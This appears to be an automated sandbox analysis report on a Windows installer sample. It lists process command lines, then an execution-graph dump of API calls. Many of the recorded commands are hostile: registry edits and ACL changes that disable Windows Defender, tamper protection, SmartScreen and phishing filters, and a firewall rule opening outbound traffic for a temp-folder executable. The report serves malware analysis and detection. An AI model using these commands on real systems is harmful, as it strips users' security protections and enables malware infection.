                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high
                  Has exited:true

                  General

                  Target ID:4
                  Start time:09:23:03
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\netsh.exe
                  Wow64 process (32bit):true
                  Commandline:netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
                  Imagebase:0x1080000
                  File size:82'432 bytes
                  MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high
                  Has exited:true

                  General

                  Target ID:5
                  Start time:09:23:03
                  Start date:04/12/2024
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff6d64d0000
                  File size:862'208 bytes
                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high
                  Has exited:true

                  General

                  Target ID:6
                  Start time:09:23:03
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  Wow64 process (32bit):true
                  Commandline:"C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe" /q /norestart
                  Imagebase:0xad0000
                  File size:889'416 bytes
                  MD5 hash:53406E9988306CBD4537677C5336ABA4
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:low
                  Has exited:true

                  General

                  Target ID:7
                  Start time:09:23:05
                  Start date:04/12/2024
                  Path:C:\6231e956ee22143d5ce90e\Setup.exe
                  Wow64 process (32bit):true
                  Commandline:C:\6231e956ee22143d5ce90e\\Setup.exe /q /norestart /x86 /x64 /ia64 /web
                  Imagebase:0x9b0000
                  File size:78'152 bytes
                  MD5 hash:006F8A615020A4A17F5E63801485DF46
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:moderate
                  Has exited:true

                  General

                  Target ID:8
                  Start time:09:23:11
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  Wow64 process (32bit):true
                  Commandline:"C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe" /q /norestart
                  Imagebase:0xdc0000
                  File size:1'005'568 bytes
                  MD5 hash:9E8253F0A993E53B4809DBD74B335227
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:moderate
                  Has exited:true

                  General

                  Target ID:9
                  Start time:09:23:12
                  Start date:04/12/2024
                  Path:C:\02160d95efb0ac51c5e073\Setup.exe
                  Wow64 process (32bit):true
                  Commandline:C:\02160d95efb0ac51c5e073\\Setup.exe /q /norestart /x86 /x64 /web
                  Imagebase:0x600000
                  File size:87'968 bytes
                  MD5 hash:8B3ECF4D59A85DAE0960D3175865A06D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Antivirus matches:
                  • Detection: 0%, ReversingLabs
                  Reputation:moderate
                  Has exited:true

                  General

                  Target ID:11
                  Start time:09:23:21
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\cmd.exe
                  Wow64 process (32bit):true
                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.bat
                  Imagebase:0x790000
                  File size:236'544 bytes
                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high
                  Has exited:true

                  General

                  Target ID:12
                  Start time:09:23:21
                  Start date:04/12/2024
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff6d64d0000
                  File size:862'208 bytes
                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:13
                  Start time:09:23:21
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:14
                  Start time:09:23:22
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\cmd.exe
                  Wow64 process (32bit):true
                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnz.bat
                  Imagebase:0x790000
                  File size:236'544 bytes
                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:15
                  Start time:09:23:22
                  Start date:04/12/2024
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff6d64d0000
                  File size:862'208 bytes
                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:16
                  Start time:09:23:22
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:17
                  Start time:09:23:22
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:18
                  Start time:09:23:22
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:19
                  Start time:09:23:22
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:20
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:21
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:22
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe
                  Wow64 process (32bit):false
                  Commandline:SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
                  Imagebase:0x7ff7106a0000
                  File size:616'312 bytes
                  MD5 hash:1FB64FF73938F4A04E97E5E7BF3D618C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:23
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:24
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:25
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:26
                  Start time:09:23:23
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:27
                  Start time:09:23:24
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:28
                  Start time:09:23:24
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:29
                  Start time:09:23:24
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:30
                  Start time:09:23:24
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:31
                  Start time:09:23:24
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:32
                  Start time:09:23:24
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:33
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:34
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:35
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:36
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\cmd.exe
                  Wow64 process (32bit):true
                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnn.bat
                  Imagebase:0x790000
                  File size:236'544 bytes
                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:37
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff6d64d0000
                  File size:862'208 bytes
                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:38
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:39
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:40
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:41
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:42
                  Start time:09:23:25
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:43
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\cmd.exe
                  Wow64 process (32bit):true
                  Commandline:C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnoo1.bat
                  Imagebase:0x790000
                  File size:236'544 bytes
                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:44
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff6d64d0000
                  File size:862'208 bytes
                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:45
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:46
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:47
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
                  Imagebase:0x7ff6068e0000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:48
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:49
                  Start time:09:23:26
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:50
                  Start time:09:23:27
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  General

                  Target ID:51
                  Start time:09:23:27
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\reg.exe
                  Wow64 process (32bit):true
                  Commandline:reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
                  Imagebase:0x110000
                  File size:59'392 bytes
                  MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Has exited:true

                  Disassembly

                  Reset < >

                    Execution Graph

                    Execution Coverage:17.6%
                    Dynamic/Decrypted Code Coverage:0%
                    Signature Coverage:16.4%
                    Total number of Nodes:1338
                    Total number of Limit Nodes:24
                    execution_graph 2940 401bc0 2941 401c11 2940->2941 2944 401bcd 2940->2944 2942 401c16 2941->2942 2943 401c3b GlobalAlloc 2941->2943 2946 401c56 2942->2946 2978 406577 lstrcpynW 2942->2978 2959 4065b4 2943->2959 2945 4023af 2944->2945 2949 401be4 2944->2949 2948 4065b4 21 API calls 2945->2948 2951 4023bc 2948->2951 2976 406577 lstrcpynW 2949->2976 2979 405bd7 2951->2979 2953 401c28 GlobalFree 2953->2946 2955 401bf3 2977 406577 lstrcpynW 2955->2977 2957 401c02 2983 406577 lstrcpynW 2957->2983 2974 4065bf 2959->2974 2960 406806 2961 40681f 2960->2961 3006 406577 lstrcpynW 2960->3006 2961->2946 2963 4067d7 lstrlenW 2963->2974 2967 4066d0 GetSystemDirectoryW 2967->2974 2968 4065b4 15 API calls 2968->2963 2969 4066e6 GetWindowsDirectoryW 2969->2974 2970 4065b4 15 API calls 2970->2974 2971 406778 lstrcatW 2971->2974 2974->2960 2974->2963 2974->2967 2974->2968 2974->2969 2974->2970 2974->2971 2975 406748 SHGetPathFromIDListW CoTaskMemFree 2974->2975 2984 406445 2974->2984 2989 40696b GetModuleHandleA 2974->2989 2995 406825 2974->2995 3004 4064be wsprintfW 2974->3004 3005 406577 lstrcpynW 2974->3005 2975->2974 2976->2955 2977->2957 2978->2953 2980 405bec 2979->2980 2981 405c38 2980->2981 2982 405c00 MessageBoxIndirectW 2980->2982 2981->2946 2982->2981 2983->2946 3007 4063e4 2984->3007 2987 4064a9 2987->2974 2988 406479 RegQueryValueExW RegCloseKey 2988->2987 2990 406991 GetProcAddress 2989->2990 2991 406987 2989->2991 2994 4069a0 2990->2994 3011 4068fb GetSystemDirectoryW 2991->3011 2993 40698d 2993->2990 2993->2994 2994->2974 2997 406832 2995->2997 2996 4068a8 2998 4068ad CharPrevW 2996->2998 3000 4068ce 2996->3000 2997->2996 2999 40689b CharNextW 2997->2999 3002 406887 CharNextW 2997->3002 3003 406896 CharNextW 2997->3003 3014 405e73 2997->3014 2998->2996 2999->2996 2999->2997 3000->2974 3002->2997 3003->2999 3004->2974 3005->2974 3006->2961 3008 4063f3 3007->3008 3009 4063f7 3008->3009 3010 4063fc RegOpenKeyExW 3008->3010 3009->2987 3009->2988 3010->3009 3012 40691d wsprintfW LoadLibraryExW 3011->3012 3012->2993 3015 405e79 3014->3015 3016 405e8f 3015->3016 3017 405e80 CharNextW 3015->3017 3016->2997 3017->3015 3605 402641 3606 402dcb 21 API calls 3605->3606 3607 402648 3606->3607 3610 406067 GetFileAttributesW CreateFileW 3607->3610 3609 402654 3610->3609 3611 4025c3 3621 402e0b 3611->3621 3614 402da9 21 API calls 3615 4025d6 3614->3615 3616 4025f2 RegEnumKeyW 3615->3616 3617 4025fe RegEnumValueW 3615->3617 3619 402953 3615->3619 3618 402613 RegCloseKey 3616->3618 3617->3618 3618->3619 3622 402dcb 21 API calls 3621->3622 3623 402e22 3622->3623 3624 4063e4 RegOpenKeyExW 3623->3624 3625 4025cd 3624->3625 3625->3614 3626 4015c8 3627 402dcb 21 API calls 3626->3627 3628 4015cf SetFileAttributesW 3627->3628 3629 4015e1 3628->3629 3515 401fc9 3516 402dcb 21 API calls 3515->3516 3517 401fcf 3516->3517 3518 4055fc 28 API calls 3517->3518 3519 401fd9 3518->3519 3520 405b5a 2 API calls 3519->3520 3521 401fdf 3520->3521 3522 402002 CloseHandle 3521->3522 3526 402953 3521->3526 3530 406a16 WaitForSingleObject 3521->3530 3522->3526 3525 401ff4 3527 402004 3525->3527 3528 401ff9 3525->3528 3527->3522 3535 4064be wsprintfW 3528->3535 3531 406a30 3530->3531 3532 406a42 GetExitCodeProcess 3531->3532 3533 4069a7 2 API calls 3531->3533 3532->3525 3534 406a37 WaitForSingleObject 3533->3534 3534->3531 3535->3522 3633 40204f 3634 402dcb 21 API calls 3633->3634 3635 402056 3634->3635 3636 40696b 5 API calls 3635->3636 3637 402065 3636->3637 3638 402081 GlobalAlloc 3637->3638 3647 4020f1 3637->3647 3639 402095 3638->3639 3638->3647 3640 40696b 5 API calls 3639->3640 3641 40209c 3640->3641 3642 40696b 5 API calls 3641->3642 3643 4020a6 3642->3643 3643->3647 3648 4064be wsprintfW 3643->3648 3645 4020df 3649 4064be wsprintfW 3645->3649 3648->3645 3649->3647 3650 40254f 3651 402e0b 21 API calls 3650->3651 3652 402559 3651->3652 3653 402dcb 21 API calls 3652->3653 3654 402562 3653->3654 3655 402953 3654->3655 3656 40256d RegQueryValueExW 3654->3656 3657 40258d 3656->3657 